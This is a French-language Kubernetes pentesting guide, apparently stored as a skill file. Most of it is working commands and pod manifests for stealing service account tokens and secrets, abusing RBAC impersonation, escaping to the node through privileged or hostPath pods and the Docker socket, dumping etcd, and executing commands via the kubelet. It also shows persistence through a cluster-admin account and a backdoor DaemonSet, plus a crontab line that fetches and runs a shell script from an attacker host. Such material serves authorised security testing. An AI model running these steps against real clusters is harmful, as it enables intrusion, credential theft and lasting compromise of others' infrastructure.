kubernetes-pentesting

name	kubernetes-pentesting
description	Guide complet de pentest Kubernetes — RBAC abuse, pod escapes, service account tokens, etcd, kubelet, secrets, container escape, outils
category	cybersecurite

Kubernetes Pentesting — Guide Avancé

Introduction

Kubernetes est un orchestrateur de conteneurs complexe avec de multiples surfaces d'attaque: API server, etcd, kubelet, pods, network, RBAC, secrets, et images.

Outils Essentiels

Outil	Description
kube-hunter	Scanner de vulnérabilités K8s
kube-bench	CIS Benchmark pour K8s
kubectl	CLI K8s native
kubescape	Scanner de sécurité complet
Peirates	Framework d'attaque K8s
CDK (Container Development Kit)	Escape de conteneur
kubectl-who-can	Analyse des permissions
rakkess	Matrice d'accès RBAC

# Installation outils
pip install kube-hunter
pip install kube-bench
git clone https://github.com/inguardians/peirates

Énumération K8s

Depuis l'extérieur

Découverte des endpoints:

# API Server (port 443, 6443)
curl -k https://target.com:6443/livez?verbose
curl -k https://target.com:6443/openapi/v2

# Kubelet (port 10250, 10255)
curl -k https://target.com:10250/pods
curl http://target.com:10255/pods  # Read-only (déprécié)

# Dashboard (port 30000-32767, 443)
curl -k https://target.com/api/v1/namespaces/kubernetes-dashboard/services/

# etcd (port 2379, 2380) — INTERNE SEULEMENT
# etcdctl --endpoints https://10.0.0.1:2379

Fingerprinting:

# kube-hunter
kube-hunter --remote target.com

# kubescape
kubescape scan --enable-host-scan https://target.com:6443

# Nmap — scan des ports K8s
nmap -p 6443,443,10250,10255,2379,2380,30000-32767 target.com

Depuis l'intérieur (pod compromis)

# Vérifier le token SA
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt

# Tester l'accès à l'API
curl -k -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
  https://kubernetes.default.svc/api/v1/namespaces

# kubectl à l'intérieur du pod
kubectl auth can-i --list
kubectl get pods --all-namespaces
kubectl get secrets --all-namespaces

# kubeconfig
find / -name "*.kubeconfig" 2>/dev/null
find / -name "config" -path "*kube*" 2>/dev/null

RBAC Abuse

ClusterRole dangereuses

Permission	Risque
* ou cluster-admin	Contrôle total
list secrets / get secrets	Vol de tous les secrets
create pods + --as	Exécution arbitraire
create deployments	Déploiement arbitraire
impersonate	Usurpation d'identité
patch deployments	Modification de déploiement
get pods/exec	Exécution dans les pods
create* / update* / patch*	Modification de ressources

Escalade via RBAC

# 1. Lister les permissions
kubectl auth can-i --list
# or rakkess
rakkess

# 2. Si impersonate est permis
kubectl --as=system:admin get pods
kubectl --as=cluster-admin get secrets --all-namespaces

# 3. Si on peut create pods
# Créer un pod avec un SA privilégié
apiVersion: v1
kind: Pod
metadata:
  name: exploit
spec:
  serviceAccountName: admin-sa
  containers:
  - name: exploit
    image: alpine
    command: ["sleep", "3600"]
  automountServiceAccountToken: true

# 4. Si on peut get/list secrets
kubectl get secrets --all-namespaces
kubectl get secret admin-token -o yaml
echo '<base64>' | base64 -d

# 5. Si on peut create deployments
# Déployer un pod avec des volumes hostPath pour escape

kubectl-who-can

# Analyser qui peut faire quoi
kubectl-who-can create pods
kubectl-who-can get secrets
kubectl-who-can '*'

Pod Escape

HostPath Volume — Accès au noeud

apiVersion: v1
kind: Pod
metadata:
  name: hostpath-exploit
spec:
  containers:
  - name: exploit
    image: alpine
    command: ["nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: host-fs
      mountPath: /host
  volumes:
  - name: host-fs
    hostPath:
      path: /

Sans Privilégié (hostPath mount):

# Si le pod monte /var/log ou /.ssh
cat /host/var/log/kube-apiserver.log
cat /host/root/.ssh/authorized_keys

# Chroot dans le host
chroot /host bash

# Creer un cron job sur le host
echo '* * * * * root curl http://attacker/shell.sh|bash' >> /host/etc/crontab

Privileged Container

# Si securityContext.privileged: true
# nsenter vers PID 1 (le host)
nsenter --target 1 --mount --uts --ipc --net --pid -- bash

# Accès aux devices
fdisk -l
# /dev/sda1 — le disque du host
mount /dev/sda1 /mnt
chroot /mnt bash

Docker Socket

apiVersion: v1
kind: Pod
metadata:
  name: docker-socket-exploit
spec:
  containers:
  - name: exploit
    image: alpine
    command: ["sleep", "3600"]
    volumeMounts:
    - name: docker
      mountPath: /var/run/docker.sock
  volumes:
  - name: docker
    hostPath:
      path: /var/run/docker.sock

# Dans le pod
apk add docker-cli
docker ps
docker run -it -v /:/host alpine chroot /host bash

ContainerD/CRI-O Socket

# /run/containerd/containerd.sock
# /run/crio/crio.sock

curl --unix-socket /run/containerd/containerd.sock http://localhost/containers/json

Attaque sur etcd

# etcd ne nécessite pas d'auth par défaut
# Si accessible depuis le pod

export ETCDCTL_API=3
etcdctl --endpoints=https://127.0.0.1:2379 \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/server.crt \
  --key=/etc/kubernetes/pki/etcd/server.key \
  get / --prefix --keys-only

# Lister les clés importantes
etcdctl get /registry/secrets/kube-system/admin-token
etcdctl get /registry/secrets/default/...

Kubelet API

# Port 10250 (authentifié) ou 10255 (non authentifié)

# Sans auth (10255)
curl http://target.com:10255/pods
curl http://target.com:10255/runningpods

# Avec auth (10250)
curl -k -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
  https://target.com:10250/pods

# Exécution de commande via Kubelet
curl -k -X POST \
  -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
  -H "Content-Type: application/json" \
  -d '{"command": ["id"]}' \
  https://target.com:10250/run/<namespace>/<pod>/<container>

Attaque des Secrets

# 1. Lister les secrets accessibles
kubectl get secrets --all-namespaces

# 2. Obtenir un secret spécifique
kubectl get secret <secret-name> -o yaml

# 3. Les tokens Docker reg sont aussi des secrets intéressants
kubectl get secret regcred -o yaml | grep dockerconfigjson | awk '{print $2}' | base64 -d

Man-in-the-Middle (MITM) K8s

# DNS spoofing via CoreDNS
# Modifier le Corefile pour rediriger le trafic

# Service endpoint interception
kubectl get endpoints
# Modifier l'endpoint pour pointer vers son pod malveillant

Denial of Service

# ResourceQuota exhaustion
# Épuiser les limites du namespace

# Network DoS sur le service
# Flood de requêtes via des pods

# etcd saturation
# Trop de requêtes d'API → etcd ralentit

Persistance dans K8s

# Créer un Service Account persistant
kubectl create sa persistence
kubectl create clusterrolebinding persistence --clusterrole=cluster-admin --serviceaccount=default:persistence
kubectl get secret $(kubectl get sa persistence -o jsonpath='{.secrets[0].name}') -o jsonpath='{.data.token}' | base64 -d

# Deployer un DaemonSet backdoor
# Un DaemonSet tourne sur TOUS les noeuds
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: persistence-ds
spec:
  selector:
    matchLabels:
      name: persistence
  template:
    metadata:
      labels:
        name: persistence
    spec:
      containers:
      - name: persistence
        image: alpine
        command: ["sleep", "3600"]
        volumeMounts:
        - name: host-fs
          mountPath: /host
      volumes:
      - name: host-fs
        hostPath:
          path: /

Checklist Pentest K8s

1. API Server accessible publiquement
2. Kubelet API non authentifié (10255)
3. etcd accessible sans auth
4. Dashboard exposé sans auth
5. RBAC over-permissif (cluster-admin, impersonate)
6. Pod en mode privilégié
7. HostPath volumes dangereux (/, /var/log, /var/run/docker.sock)
8. Containers run as root
9. Secrets en clair ou avec peu d'accès
10. Network policies désactivées
11. Container images vulnérables
12. Pod Security Standards désactivés (PSP/PSS)
13. Admission controllers désactivés
14. Audit logging désactivé
15. Service Account token automatiquement monté

Ressources

• HackTricks K8s: https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/index.html
• kube-hunter: https://github.com/aquasecurity/kube-hunter
• kube-bench: https://github.com/aquasecurity/kube-bench
• kubescape: https://github.com/kubescape/kubescape
• Peirates: https://github.com/inguardians/peirates
• CDK: https://github.com/cdk-team/CDK
• PayloadsAllTheThings K8s: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Kubernetes